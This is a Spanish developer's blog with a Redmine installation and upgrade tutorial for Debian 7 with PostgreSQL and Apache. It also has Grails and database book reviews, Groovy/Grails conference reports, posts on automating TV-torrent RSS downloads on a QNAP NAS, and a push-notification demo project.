domingo, 29 de diciembre de 2013

Instalación de Redmine en Debian 7




A la hora de gestionar proyectos existen multitud de herramientas y opciones disponibles. Algunas son gratis, otras no, unas ofrecen la posibilidad de instalarlas en tus propios servidores, otras se contratan "en la nube".
Redmine es una de las que permiten instalarlo en tus propios servidores. Se trata de un gestor de proyectos escrito con Ruby on Rails, es multiplataforma y soporta múltiples bases de datos. Además es software libre con licencia GPLv2.
Entre sus características destaca el soporte multi-proyecto, sistema de roles y permisos muy flexible y personalizable, gestión de tareas, wikis, foros, subida de archivos y documentos, notificaciones por email y por RSS,...

Llevo casi 4 años utilizando Redmine en el día a día del trabajo (además de administrándolo) y después de instalarlo varias veces de cero y actualizarlo entre versiones otras tantas por fin me he decidido a juntar todas mis notas y escribir un tutorial actualizado.

Partimos de una Debian 7 64 bits recién instalada sin nada adicional a excepción de OpenSSH. Toda la instalación se realizará con un usuario no root en su home, aunque algunos comandos requieren el uso de sudo. Aunque Redmine viene configurado por defecto para utilizar MySQL, en mi caso lo voy a instalar utilizando Postgresql.

Instalación de Postgresql 9.3

En los repos de Debian no está la última versión por lo que lo mejor es utilizar un repo oficial. En la actualidad ya se ha publicado la versión 9.3.2 y será ésta la que utilicemos.

  • Añadir el repo de Postgres
  • sudo vi /etc/apt/sources.list.d/pgdg.list
    
    # Postgresql
    deb http://apt.postgresql.org/pub/repos/apt/ wheezy-pgdg main
    
  • Añadir clave de verificación
  • wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
    
  • Actualizar los paquetes e instalar postgresql-9.3
  • sudo apt-get update
    sudo apt-get install postgresql-9.3
    
  • Damos permisos para conectarnos a las bases de datos
  • sudo vi /etc/postgresql/9.3/main/pg_hba.conf
    
    # Cambiar la siguiente línea:
    local   all             postgres                                peer
    
    # por:
    local   all             postgres                                trust
    
  • Reiniciar el servidor para que aplique los cambios:
  • sudo /etc/init.d/postgresql restart
    
  • Crear la base de datos
  • $ psql -U postgres
    psql (9.3.2)
    Type "help" for help.
    
    postgres=# CREATE ROLE redmine LOGIN ENCRYPTED PASSWORD 'my-secret-password' NOINHERIT VALID UNTIL 'infinity';
    postgres=# CREATE DATABASE redmine WITH ENCODING='UTF8' OWNER=redmine;
    

    Instalación de paquetes adicionales

    Para poder compilar las gemas de ruby que instalaremos más tarde necesitamos una serie de paquetes. Algunos son los mínimos para poder compilar cualquier fuente: gcc, make,... y otros son necesarios para las gemas.
    sudo apt-get install build-essential
    
    Instalar librería necesaria para utilizar Postgresql desde una aplicación Ruby on Rails
    sudo apt-get install libpq-dev
    

    Instalación de Apache

    Para poder servir el Redmine una vez instalado vamos a utilizar apache.
    Instalar apache2 y habilitar los módulos necesarios:
    sudo apt-get install apache2 libapache2-mod-fcgid libapache2-mod-proxy-html libfcgi-dev
    
    sudo a2enmod rewrite
    sudo a2enmod proxy_http
    sudo a2enmod proxy
    

    Instalación de ImageMagick

    Para la generación de pdfs y pngs Redmine utiliza ImageMagick, por lo que si queremos utilizar esta funcionalidad deberemos instalarlo junto con las librerías necesarias.
    $ sudo apt-get install imagemagick libmagickwand-dev libmagickcore-dev
    

    Instalación de Ruby

    Ahora ya podemos instalar Ruby. Utilizaremos la versión 1.9.3.
    sudo apt-get install ruby1.9.3
    

    Instalación de Redmine

    Por fin, después de haber instalado todas las dependencias podemos empezar con la instalación de Redmine.
  • Descargar la última versión disponible. En el momento de escribir este artículo es la versión 2.4.2
  • wget http://www.redmine.org/releases/redmine-2.4.2.tar.gz
    tar zxvf redmine-2.4.2.tar.gz
    ln -s redmine-2.4.2 redmine
    cd redmine
    
    La creación del enlace simbólico no es necesaria pero es una buena práctica. Además nos sirve en el futuro para actualizar la versión sin tener que tocar la configuración del Apache.
  • Crear el archivo de configuración de la base de datos a partir del que viene de ejemplo y editarlo
  • cp config/database.yml.example config/database.yml
    vi config/database.yml
    
    production:
      adapter: postgresql
      database: redmine
      host: localhost
      username: redmine
      password: "my-secret-password"
      encoding: utf8
    
    Importante quitar mysql de los environments de develop y test porque sino luego intentará instalar las dependencias y fallará. Poner "postgresql" en todos aunque no se configure nada más. Sólo vamos a usar el environment de producción.
  • Añadir una gema que luego utilizaremos para que se instale junto con el resto.
  • echo 'gem "fcgi"' > Gemfile.local
    
  • Instalar gema de postgresql
  • sudo gem install pg
    
  • Instalar gestor de gemas
  • sudo gem install bundler
    
  • Instalar todas las dependencias de Redmine
  • sudo bundle install --without development test
    
  • Crear las tablas de la base de datos
  • RAILS_ENV=production rake db:migrate
    
  • Crear los datos iniciales (recomendado en inglés)
  • RAILS_ENV=production rake redmine:load_default_data
  • Crear directorios y dar permisos
  • mkdir -p tmp tmp/pdf public/plugin_assets
    chmod -R 755 files log tmp public/plugin_assets
    
  • Generar el session store secret
  • rake generate_secret_token
    Y listo, ahora sólo falta probar que todo funciona correctamente. Para ello, ejecutamos el servidor web embebido (no utilizar en producción).
    $ ruby script/rails server webrick -e production
    => Booting WEBrick
    => Rails 3.2.13 application starting in production on http://0.0.0.0:3000
    => Call with -d to detach
    => Ctrl-C to shutdown server
    [2013-12-28 11:05:17] INFO  WEBrick 1.3.1
    [2013-12-28 11:05:17] INFO  ruby 1.9.3 (2013-11-22) [x86_64-linux]
    [2013-12-28 11:05:17] INFO  WEBrick::HTTPServer#start: pid=25214 port=3000
    
    Nos conectamos con el navegador a http://localhost:3000 y nos logamos con admin/admin.

    Configuración de Apache

    Para servir el Redmine para poder utilizarlo en producción vamos a utilizar Apache junto con fcgi.
  • Desde el directorio redmine copiamos el archivo htaccess y de fcgi a partir de las plantillas.
  • cp public/htaccess.fcgi.example public/.htaccess
    cp public/dispatch.fcgi.example public/dispatch.fcgi
    chmod +x public/dispatch.fcgi
    
  • Editar el archivo de configuración de entornos para utilizar el de producción por defecto
  • vi config/environment.rb
    
    # Añadir la siguiente línea al principio del archivo
    ENV['RAILS_ENV'] ||= 'production'
    
  • Añadir el nuevo virtual host al apache
  • sudo vi /etc/apache2/sites-enabled/000-default
    
    <VirtualHost *:80>
        ErrorLog /var/log/apache2/redmine-error-log
        CustomLog /var/log/apache2/redmine-access-log combined
    
        ServerName redmine.my-domain.com
        ServerAdmin admin@my-domain.com
        DocumentRoot /home/ivan/redmine/public
        ProxyPreserveHost On
    
        <Directory "/home/ivan/redmine/public/">
            Options Indexes ExecCGI FollowSymLinks
            Order allow,deny
            Allow from all
            AllowOverride all
        </Directory>
    </VirtualHost>
    
  • Dar permisos de escritura al usuario de apache a algunos archivos y directorios
  • sudo chown -R www-data:www-data files log tmp public/plugin_assets
  • Reiniciar apache
  • sudo /etc/init.d/apache2 restart
    Y listo, si todo va bien deberíamos poder conectarnos a nuestro nuevo Redmine con el dominio que hayamos definido en nuestro virtual host, en este caso http://redmine.my-domain.com.

    Bola extra: Actualizar una versión antigua de Redmine

    Como he comentado al principio del artículo, llevo utilizando Redmine casi 4 años (empecé en la versión 0.9.6) y he actualizado de versión en bastantes ocasiones. El proceso de actualización es muy simple.

  • Instalar la nueva versión como hemos hecho hasta ahora y comprobar que todo funciona correctamente.
  • Parar apache y hacer una copia de seguridad de nuestra base de datos actual (espero que además hagas copias periódicas).
  • sudo /etc/init.d/apache2 stop
    pg_dump -U postgres redmine > db_redmine.sql
    
  • Después de instalar la nueva versión de redmine, en lugar de crear todas las tabla en la base de datos, lo que tenemos que hacer es ejecutar la migración de las mismas.
  • rake db:migrate RAILS_ENV=production
    
    Esto lo que hace es ejecutar todas las migraciones desde la versión que teníamos instalada hasta la versión actual para que el modelo de datos sea el adecuado.
  • Si tenemos plugins instalados, ejecutar sus migraciones.
  • rake redmine:plugins:migrate RAILS_ENV=production
  • Copiar los archivos subidos del directorio files del redmine antiguo al nuevo.
  • Limpiar cache y sesiones.
  • rake tmp:cache:clear
    rake tmp:sessions:clear
    
  • Finalmente reiniciar apache y logarnos de nuevo. Luego, en el menú Administration -> Information podemos comprobar que la migración se ha realizado correctamente y estamos con la versión adecuada:


    Para el que no esté muy seguro sobre las actualizaciones, decir que en todas las actualizaciones de estos años no he tenido ningún problema y todas han funcionado a la perfección. En esta última actualización he pasado directamente de la versión 1.4.4 a la 2.4.2. Han sido cinco versiones mayor (2.0, 2.1, 2.2, 2.3 y 2.4) y 27 versiones en total de diferencia entre ambas y cero problemas :-)
  • domingo, 27 de octubre de 2013

    Codemotion 2013

    El pasado fin de semana tuvo lugar la segunda edición de Codemotion en el que participé, además de como representante de Madrid-GUG, como ponente.

    Para el que no lo conozca, Codemotion es un evento por y para las comunidades. Es un punto de encuentro en el que nos reunimos todas las comunidades: Groovy, Java, Python, Ruby, Php,... A lo largo de dos días, 8 tracks y más de 100 charlas se han reunido en el Campus Sur de la Universidad Politécnica de Madrid más de 1500 personas para hablar y disfrutar de su pasión.

    En cuanto a las charlas, las del viernes me parecieron más flojas que las del sábado, aunque también es cierto que el viernes hubo muchas charlas de patrocinadores que no me llamaban tanto la atención. La organización fue muy buena teniendo en cuenta el número de asistentes y todo lo que había que coordinar.

    Para los que estén interesados en mi charla, a continuación teneis las slides y el código fuente de las demos se encuentra disponible en mi github.

    lunes, 5 de agosto de 2013

    Leído: Programming Grails



    Ya se sabe, vacaciones, más tiempo libre, estar en la playa casi sin conexión a internet,... qué mejor forma de aprovechar el tiempo que leyendo :-)

    Libro escrito por otro de los Core Developer de Grails, Burt Beckwith y como él mismo cuenta en la introducción, orientado a desarrolladores con experiencia en Grails que quieren conocer con más detalle cómo funciona la magia del framework y cómo se integra con Groovy, Spring y Hibernate. Si no conoces Grails este no debería ser tu primer libro porque no cuenta los distintos artefactos y cómo funciona el framework, sino que se mete directamente en sus tripas.

    Para empezar en el capítulo 1 damos un repaso a Groovy, lenguaje en el que se basa Grails. Se explica de una manera sencilla las particularidades del lenguaje y lo que lo diferencia de Java. Además se explican las colecciones, mapas, closures e incluso se habla un poco de meta-programación. El siguiente capítulo explica con detalle los 16 plugins core de una aplicación Grails: controllers, codecs, filters, urlMappings,... Da un punto de partida de cómo funcionan y deja con ganas de ponerte con el IDE a mirar con más detalle.
    El resto de capítulos habla de la capa de Persistencia, la relación con Spring, con Hibernate, la externalización de la configuración... y distintos "gotchas" a tener en cuenta y que más de una vez seguro que te han ocurrido y no sabías por qué.

    El libro me ha dejado un sabor un poco agridulce. Por una parte algunos capítulos como la parte de Spring, Hibernate o los Plugins me han gustado mucho y he aprendido bastante. Por otra parte otros como el de los plugins core de Grails hay que leerlos con el IDE abierto para ir analizando las distintas clases e interfaces que van explicando, puesto que si no se entiende nada. Tendré que volver a releerlos delante del ordenador para seguir profundizando en las tripas del framework.
    Por último, alguno de los últimos capítulos como el relacionado con los entornos Cloud o cómo actualizar las aplicaciones me han parecido un poco de relleno.

    Aún así, me parece un libro imprescindible si ya llevas tiempo con el framework y quieres conocer más cómo funciona under the hood.

    jueves, 25 de julio de 2013

    Leído: The Definitive Guide to Grails 2

    Aunque ya llevo varios años trabajando con Grails siempre está bien mantenerse al día con las actualizaciones de los libros existentes a las últimas versiones del framework. El libro está escrito por Graeme Rocher y Jeff Brown, Grails Team Leader y Core Developer de Grails respectivamente, lo que implica que ambos conocen bien las tripas del framework y saben de lo que hablan.

    Durante 12 capítulos van explicando la esencia del framework y los pilares en los que se basa, principalmente Spring y Hibernate y Groovy como lenguaje de programación. Así, vamos viendo como empezar instalándolo y creando nuestra primera aplicación, las clases de dominio, los controladores, las vistas, los servicios hasta la internacionalización, GORM o el desarrollo de plugins. Los capítulos están bien estructurados y cuentan con buenos ejemplos con los que van explicando las particularidades de cada tipo de artefacto del framework. También incluyen en cada capítulo un apartado en el que se explica como testear el tipo de artefacto que se está explicando. Creo que habría sido mejor que los ejemplos de los tests hubiesen sido con Spock en lugar de con Junit, aunque mientras Grails no incluya Spock por defecto, tiene sentido no tener que instalar dependencias adicionales para hacer los tests. Yo sin embargo, siempre recomiendo a cualquiera que trabaje con Grails (e incluso con Java) que utilice Spock para realizar los tests puesto que conseguirá que sus tests sean mucho más explícitos, expresivos y fáciles de mantener que con Junit.

    Para finalizar comentaré que aunque la gran mayoría de lo que he leído lo conocía, siempre viene bien refrescar conceptos y reforzar algunas partes del framework que son algo más complejas. También he aprendido algún truco nuevo que seguro que utilizo dentro de poco en algún proyecto. En definitiva, un libro interesante para cualquiera que se quiera iniciar en Grails y también para desarrolladores que lleven tiempo trabajando con el framework.

    domingo, 7 de abril de 2013

    Leído: Seven Databases in Seven Weeks



    Con este artículo empiezo una serie en el blog en los que iré contando mi opinión sobre distintos libros técnicos que voy leyendo. Uno de mis propósitos para este año es lograr sacar tiempo para leer 5 ó 6 libros técnicos y, a ser posible, que no estén relacionados unos con otros ni estén centrados en un campo específico.

    Así, empezamos con Seven Databases in Seven Weeks: A Guide to Modern Databases and the NoSQL Movement. A lo largo del libro hemos visto distintas bases de datos de distintos paradigmas. Desde las clásicas relacionales, hasta las modernas NoSQL con sus distintas variantes: orientadas a documentos, clave-valor, basada en columnas hasta las orientadas a grafos.

    El libro no pretende ser una guía del DBA para cada una de esas bases de datos ni tampoco un manual de instalación de cada una de ellas, sino que directamente nos va mostrando distintas características de cada una a través de diversos ejemplos. También se centra en los distintos criterios que debemos tener en cuenta a la hora de elegir una u otra y destaca sus puntos fuertes y deficiencias.

    Las bases de datos que se muestran, en el mismo orden de aparición son:
    - PostgreSQL: Se trata de una de las base de datos opensource relacionales más potentes que existen en la actualidad. Aunque personalmente llevo utilizándola varios años, aprendí muchas cosas de tipos nativos, array n-dimensionales y búsquedas full text search.
    - Riak: Entra dentro de la categoría de clave-valor aunque añade conceptos muy interesantes como un completo interfaz REST y enlaces entre campos de distintas relaciones.
    - HBase: Es una base de datos orientada a columnas. Aunque inicialmente parece una base de datos relacional tal cual, ya en la introducción nos indican claramente que no es la típica base de datos que utilizaremos para nuestro pequeño catálogo de productos, sino que debemos tener muchos gigabytes o terabytes de datos para aprovecharla realmente. Al estar diseñada para un gran volumen de datos, el escalado es muy fácil de implementar. Otras cosas interesantes son el versionado automático de columnas y la compresión nativa de datos.
    - MongoDB: Probablemente sea una de las bases de datos NoSQL más conocidas en la actualidad. El hecho de que sitios como Foursquare estén implementados con MongoDB le ha dado mucha fama. MongoDB encaja en la categoría de bases de datos orientadas a documentos, donde su principal característica es ser schemaless, es decir, no obligar a tener un esquema definido en las colecciones. Los documentos son JSON y entre sus principales características destacan la replicación de los datos y el sharding de grandes colecciones.
    - CouchDB: Al igual que MongoDB, CouchDB es una base de datos orientada a documentos JSON y con interfaz REST. Una de sus principales características es que está diseñada para funcionar desde en un teléfono Android, en un pc hasta en un Datacenter.
    - Neo4J: Se trata de una base de datos orientada a grafos. Es ideal para modelar tipos de relaciones de amistad, gustos,... Su principal lema es "si puedes dibujarlo como cajas y líneas en una pizarra, entonces puedes almacenarlo en Neo4J". Me ha impresionado porque es un nuevo paradigma de bases de datos para mí y sirve para cambiar el chip.
    - Redis: La base de datos clave-valor por excelencia. Además posee numerosas operaciones para realizar todo tipo de operaciones: rankings ordenados, listas,...

    Para terminar, añadiré que la lectura del libro es amena y cómoda. Cada capítulo está dividido en "3 días" y al final de cada día se incluyen una serie de ejercicios para practicar y afianzar lo aprendido. En mi caso, los ejercicios no los he podido hacer porque me llevarían demasiado tiempo (del que no dispongo). Aún así, estoy contento con lo aprendido a lo largo del libro que me ha servido para conocer otro tipo de bases de datos para utilizar en el futuro si los problemas a resolver lo requieren.

    sábado, 2 de marzo de 2013

    Descargando torrents desde un QNAP (y II)

    Este artículo continua justo donde acabó el anterior. Como comentaba al final del mismo, el principal problema de TV Torrent RSS es la gestión de filtros. Por cada nueva serie que añado en la web Show RSS tengo que entrar en el NAS y añadir el nuevo filtro en el archivo de properties de TvRss.
    Por suerte, se trata de un proyecto open source en el que el código fuente se encuentra disponible. Está desarrollado en Java, así que por este lado no tenía ningún problema adicional.
    Me puse manos a la obra, lo descargué, empecé a analizarlo y hacer algunas pruebas y lo modifiqué para eliminar toda la funcionalidad de los filtros que no necesitaba. De paso me decidí por aligerar ("bamedizar" que decimos por Kaleidos) el código. Así, bajé de las 22 clases Java iniciales a sólo 7 :-), eliminando el soporte de envío de emails y toda la lógica para poder utilizar los filtros que ya no es necesaria. Además, al no tener que comprobar para cada .torrent todos los filtros para ver si hay que descargarlo o no, la ejecución ahora es mucho más rápida.
    También aproveché para añadir la librería log4j ya que el logging se estaba haciendo simplemente con println, eliminé las librerías que no eran necesarias y reorganicé el resto. Finalmente actualicé el archivo ant que se utiliza para la construcción del proyecto.

    El resultado está publicado en mi cuenta de Github junto con las instrucciones para ejecutarlo. Ahora simplemente lanzo un script todos los días por medio del crontab y mi nueva versión de TvRss se descarga todos los archivos incluyendo versiones proper, repacks, en 720p, en calidad normal y todo sin tener que hacer nada adicional.

    domingo, 27 de enero de 2013

    Ponente en Greach 2013 e impresiones

    El pasado viernes 25 de Enero empezó la 2ª Edición de Greach que en esta ocasión ha durado dos días. Este año he tenido la suerte de asistir como ponente y dar una charla con el título Todo lo que me hubiera gustado saber cuando empecé a desarrollar con Grails. Al principio estaba muy nervioso pero al final todo salió muy bien. De hecho, mucha gente me comentó después que les había gustado mucho la charla y que habían aprendido unas cuantas cosas. ¡Muchas gracias a todos!

    Respecto al resto de las charlas, mis comentarios:
    1.- Keynote Groovy 2.0 update: Cedric Champeau fue el encargado de la Keynote de apertura. En esta ocasión Guillaume Laforge no pudo venir aunque conectamos con él via chat y anunció la publicación de Groovy 2.1.0 en la Keynote. La keynote fue muy parecida a la que vi en diciembre en el Grails Exchange de Londres.
    2.- Road to Grails 3.0: Graeme Rocher fue el encargado de contarnos la novedades que vendrán en las próximas versiones de Grails.
    3.- Hybrid mobile app in minutes, not days: Charla por Fabrice Matrat, Sebastien Blanc y Corinne Krych que crearon en 45 minutos un pequeño clon de Foursquare con el plugin html5 mobile scaffolding. La charla fue muy interesante y la parodia que hicieron durante la presentación fue muy divertida. "Hello, Mr.very-very-rich man" :-P
    4.- Test motherFucker... Test!!!: Mario García nos contó qué plugins utiliza él durante los tests de sus aplicaciones Grails y cual es la aproximación que realiza a la hora de testear la aplicación.
    5.- Cómo crear una plataforma de libros electrónicos: Roberto Martin y Alberto Vilches nos contaron su experiencia real en una plataforma de libros electrónicos, los problemas que han ido encontrando y cómo los han superado.
    6.- vert.x - Effortless asynchronous application development for the modern web and enterprise: Aunque inicialmente la charla la iba a dar Stuart Williams, al final no pudo asistir y fue su compañero Stéphane Maldini el que la dio. No estuvo mal aunque me esperaba un poco más.
    7.- Buscando (y encontrando) la pareja ideal. Taller de desarrollo de aplicaciones Web con Grails 2: Taller para el desarrollo de una aplicación Grails por parte de Fernando Redondo. Aunque muchas cosas ya las sabía, aprendí algún pequeño truco.
    8.- A GPars Programming Workshop: Taller de lujo con Russel Winder sobre GPars. Aunque fue un taller la verdad es que no hubo demasiado tiempo para programar.
    9.- From big-GORM-centered into a cloud of fast nodes: Jorge Uriarte nos contó cómo han adaptado la plataforma TicketBis desde una "simple" aplicación Grails con tomcat, mysql, terracotta,... a una más moderna con Redis y nodos "ligeros" para poder seguir creciendo y soportando la carga.
    10.- Testing the Grails Spring Security Plugins: Interesante charla de Burt Beckwith en la que nos mostraba distintas alternativas para probar Spring Security.
    11.- Building a scalable API with Grails: Tanausú Cerdeña nos contó cual fue el proceso de creación y las distintas decisiones de diseño que tomaron en la creación del API de Geosophic.

    Como veis, dos días muy intensos llenos de Groovy/Grails y demás tecnologías.

    No quiero terminar sin dar la enhorabuena a Alberto Vilches por el gran trabajo de estos últimos meses y por arriesgar tanto para dar lo mejor a todo el mundo: Cambio de ubicación a un hotel en pleno centro de Madrid en lugar de en las afueras, dos días de conferencias en lugar de uno, aumento del precio de 10€-20€ a 90€-120€ (si compraba en early-bird o no), comida excelente en el restaurante del hotel,... Creo que ha sido magnífico y todos hemos quedado encantados. ¡Kudos!

    Ah, y finalmente, por si hay algún interesado, las slides de mi charla:

    ACTUALIZADO: Ya está disponible el video, aunque es una pena que los primeros 2-3 minutos de la presentación no estén.

    miércoles, 16 de enero de 2013

    Descargando torrents desde un QNAP (I)

    Hace tiempo conté mi estrategia de backup en casa. Tengo montado un servidor debian con un raid 1 y unos scripts personalizados de rsync para realizar la sincronización y copia de los datos.

    Adicionalmente tenía un portátil un tanto antiguo con ubuntu con el que descargaba series por medio de bittorrent y alguna otra cosa con amule. Hace unos meses decidí que quería mejorar un poco toda esta infraestructura con un NAS. Así, después de mucho mirar compré un Qnap TS-412 y un par de discos de 2 TB. Con los dos discos he creado un raid 1 y ahora tengo ahí toda mi información, fotos, series, música,...

    El qnap tiene un linux embebido con mucha funcionalidad y que es fácilmente ampliable y personalizable. Para las descargas utilizo Transmission que se puede instalar desde el gestor de software incluído. Transmission funciona perfectamente pero tiene un pequeño problema, no permite configurar un feed rss desde el que descargar los torrents. Esto es un gran problema para mí porque para descargar mis series favoritas utilizo Show RSS. Una vez registrado en la web eliges tu series de la lista y puedes generar un feed rss personalizado en donde se publicarán automáticamente los torrents de las series según estén disponibles.

    Así que con este problemilla me puse a buscar una solución. Como no soy el único que tiene estos problemas estuve probando distintas alternativas que encontré en diversos foros, pero o no funcionaban correctamente o no me terminaban de convencer. Finalmente encontré TV Torrent RSS Downloader que casi cubre mis necesidades. Es una pequeña aplicación hecha en Java en la que configuras uno o varios feeds rss y unos filtros y descarga los archivos adjuntos. Después de hacer una pruebas en local todo funcionó a la perfección, pero hay había un problema ¿cómo instalo java en el qnap?

    Después de bucear un poco por la web de Sun Oracle llegué a la web de descargas del JRE para Linux ARM y tras unas pruebas de ensayo-error descargué la versión correcta para mi arquitectura: ARMv5 Linux – Headless EABI, SoftFP, Little Endian. La instalación es tan sencilla como descomprimir el archivo y configurar el path correctamente y comprobar que el ejecutable funciona:
    $ ./java -version
    java version "1.6.0_38"
    Java SE Embedded Runtime Environment (build 1.6.0_38-b05, headless)
    Java HotSpot(TM) Embedded Client VM (build 20.13-b02, mixed mode)
    

    Ahora con java instalado es tan sencillo como ejecutar:
    $ java -jar tvrss.jar
    

    Y los .torrents de cada serie se iran descargando automáticamente al directorio que hayamos especificado en el archivo de configuración. Una vez funcionando las descargas de los .torrents de cada serie, si configuramos la ruta de descarga al directorio watched de transmission, los archivos se añadirán y se pondrán a descargar automáticamente.

    Con todo funcionando podemos configurar un script .sh que se ejecute a la hora que queramos y descargue automáticamente todos los torrents. Por ejemplo:

    $ cat tvrss.sh 
    #!/bin/bash
    
    JAVA_HOME=/share/MD0_DATA/software/java/ejre1.6.0_38
    APP_DIR=/share/MD0_DATA/software/transmission_scripts/tvrss
    LOG_FILE=$APP_DIR/torrents.log
    
    cd /share/MD0_DATA/software/transmission_scripts/tvrss
    $JAVA_HOME/bin/java -jar $APP_DIR/tvrss.jar >> $LOG_FILE
    

    Con esto solucionamos el problema de la descarga de los archivos .torrent y el añadirlos a Transmission, pero como comenté antes, la versión original de TV Torrent tiene un pequeño problema: los filtros. Por cada serie que queramos descargar es necesario añadir un filtro nuevo en el archivo de configuración para que ésta se descargue. Además, si en el feed rss publican una nueva versión, las típicas versiones PROPER o REPACK que corrigen problemas de sincronización o similar, éstas tampoco serán descargadas.

    La solución en el siguiente artículo :-)

    jueves, 27 de diciembre de 2012

    Pusheame: Notificaciones push al navegador

    Esta semana pasada, en Kaleidos hemos celebrado la 3ª Edición de nuestra PiWeek. Aunque en la web viene explicado lo que es, la PiWeek es la Personal Innovation Week y básicamente consiste en que cada 6 meses, "cerramos" una semana para hacer proyectos de innovación. Existen únicamente dos reglas, sólo se permite usar software libre para el desarrollo y al final de la semana hay que hacer una demo funcional.

    En esta ocasión he aprovechado la semana para probar los plugins de grails platform-core y events-push de los que ya hablé en mi anterior artículo sobre la Groovy & Grails eXchange.

    La idea que hay detrás de "notificaciones push" del servidor al cliente es enviar información en tiempo real al navegador justo en el momento en que se obtiene. Normalmente, cuando desde una aplicación web queremos actualizar un contador, número de mensajes,... lo que solemos hacer es preguntar cada cierto tiempo (10-30 segundos) al servidor si hay mensajes nuevos. Esto implica estar constantemente haciendo llamadas al servidor y además tener un pequeño retraso en la obtención de los mensajes. Con el paradigma push es el servidor el que envía los datos al cliente sin que éste tenga que estar preguntando constantemente.

    Mi idea era hacer una pequeña prueba de concepto haciendo push de números aleatorios desde el servidor al cliente. Una vez conseguido, he utilizado el API en tiempo real de Instagram para obtener fotos geolocalizadas e irlas mostrando en un mapa y en un muro.

    El resultado es Pusheame, que se encuentra desplegado en http://pusheame.cloudfoundry.com.
    Una vez ahí existen dos páginas de pruebas, el mapa, que muestra fotos geoetiquetadas de 28 ciudades de Estado Unidos.



    y el muro, que muestra esas mismas fotos en formato muro o album de fotos:



    Lo único que tenéis que hacer es abrir el navegador y esperar a que vayan apareciendo las fotos automáticamente.

    Si no quieres esperar también puedes ver este pequeño vídeo que he hecho.

    Pusheame: Instagram Real-Time pictures from Iván López on Vimeo.


    Como indico en la página, para los curiosos, el código fuente del proyecto se encuentra disponible en mi cuenta de github: https://github.com/lmivan/pusheame.

    Si perteneces a una empresa tecnológica y te gustaría participar en la próxima edición de la PiWeek, no dudes en contactar con nosotros.
    En la primera edición celebrada en diciembre de 2011 sólo participamos Kaleidos. En la segunda edición de julio de 2012 participaron junto con nosotros Secuoyas y Yaco, y finalmente, en esta tercera edición se han apuntado de nuevo Secuoyas y también Wadobo.

    martes, 18 de diciembre de 2012

    Groovy & Grails eXchange 2012 en Londres

    El pasado jueves y viernes (13 y 14 de diciembre) estuve en el Groovy & Grails eXchange 2012 en Londres (GGX). Se trata de una de las conferencias más importantes en torno a Grails, Groovy, Griffon,... de Europa.

    Las charlas estaban divididas en dos tracks y en casi todas elegí las de Grails.

    1.- Keynote on Groovy: Guillaume Laforge abrió la keynote contando novedades de la versión 2.0 de Groovy: Un core más modular, uso de invokeDynamic, las nuevas transformaciones para comprobación de errores de compilación... Interesante saber hacia dónde se dirige el lenguaje en las próximas versiones.

    2.- Grails for Hipsters: Espectacular charla de Robbert Fletcher en la que usando Grails, Vertx, Handlebars, Backbone y un montón de tecnologías hacía un clon de Instagram con publicaciones push, ajax,... Realmente instructiva y con el código fuente disponible en github.

    3.- Using Grails Platform Core: Marc Palmer nos contó el nuevo plugin Platform-Core que ha desarrollado junto a Stephane Maldini y que pretende sentar las bases de un nuevo API sobre el que desarrollar nuevos y potentes plugins. Incluye abstracciones de Seguridad, Navigación, UI, y, para mí la parte más interesante, Events.

    4.- Under the hood: Using Spring in Grails: Desde hacía tiempo tenía ganas de asistir a una charla de Burt Beckwith y no me decepcionó. Contó cómo integrar Spring clásico en Grails, Inyección de Dependencias, distintas formas de interactuar y engancharnos al ciclo de vida de los beans,... Muy útil y formativa.

    5.- Theming & UIs with Grails Platform UI: De nuevo Marc Palmer no habló sobre Platform Core, pero está vez centrado en la parte de UI. Las distintas abstracciones, taglibs,... que ha desarrollado para poder hacer interfaces en las que cambiar el diseño sea tan sencillo como descargar e instalar un nuevo tema de manera similar a como se hace con Wordpress.

    6.- Leveraging Social Media in Grails: Para terminar el día, Bobby Warner nos contó los distintos plugins y librerías que existen en la actualidad para integrar nuestras aplicaciones Grails con las distintas redes sociales: Facebook, Twitter, Google+, LinkedIn.

    7.- Grails Keynote: El 2º día comenzó con la Keynote de Grails por parte de su project leader Graeme Rocher. Se centró en las novedades introducidas desde Grails 2.0 y para mi gusto se detuvo demasiado en ellas y no le dio tiempo a entrar en profundidad en lo que se incluirá en las siguiente versiones 2.3 y 3.0

    8.- Debugging Grails Database Performance: Interesante charla de Tom Dunstan sobre un plugin que había desarrollado para mostrar de manera muy visual en cada vista que renderizamos el tiempo total que ha llevado incluyendo el desglose en los distintos servicios, el número de consultas sql que se han realizado, el tiempo de las mismas e incluso la propia consulta. Hay que prestar atención a este plugin porque tiene pinta de ser muy útil durante el desarrollo.

    9.- Groovier testing with Spock: En esta ocasión Robert Fletcher nos mostraba código Java con sus correspondientes tests en Junit e iba explicando de una manera muy sencilla cómo convertir estos tests a Spock y por qué deberíamos usar Spock para probar en lugar del clásico Junit. Por suerte yo ya lo llevo usando desde hace tiempo :-)

    10.- Reactive Grails - Event Oriented Architecture: Para mí la mejor charla de todas. Stephane Maldini explicó la parte de Events de platform-core junto con un par de plugins que había desarrollado y que complementaban al anterior. El mejor sin duda events-push, que sirve para poder recibir en el navegador notificaciones push en tiempo real desde el servidor de una manera muy sencilla. Hizo dos demos a cual más espectacular, una de video en tiempo real y la otra de un juego multijugador.

    11.- Securing Grails Applications: Burt Beckwith comentó los 10 problemas más importantes de seguridad de las aplicaciones web, cómo estos pueden afectar a nuestras aplicaciones grails y cómo prevenirlos. Además contó un nuevo plugin que está desarrollando y que estará disponible junto con la versión 2.3 de Grails.

    12.- Building an ecommerce business with gr8 technologies in Latin America: Domingo Suarez contó su experiencia desarrollando clickonero y cómo evolucionó la plataforma. Es una continuación de la charla que dio en el pasado Spring IO 2012 en Madrid. Muy interesante la peculiar forma en la que han diseñado la nueva arquitectura para poder soportar una gran carga de usuarios.

    Y con esto acabaron las charlas. Hubo sorteo de ebooks de grails pero esta vez no me tocó ninguno.

    La verdad es que ha sido una gran experiencia estar rodeado de dos días de tantos "cracks" del entorno Groovy y Grails. Tengo muchas ideas en el cuaderno y cosas que quiero probar y que haré haciendo poco a poco.

    Si no has podido asistir pero te interesan estos temas, ya están todos los videos de las charlas publicados por lo que no hay excusa para no ir viéndolas poco a poco a ratos.

    domingo, 13 de noviembre de 2011

    Crónica de Greach: Conferencia de Groovy

    El pasado viernes 4 de noviembre acudí a Greach, una conferencia sobre el lenguaje Groovy y los frameworks en torno a él: Grails, Griffon,... celebrada en la Universidad San Pablo CEU de Madrid. La conferencia estuvo muy bien y las charlas a las que asistí me gustaron casi todas.

    Después del registro y la presentación empezaron las charlas en sí:
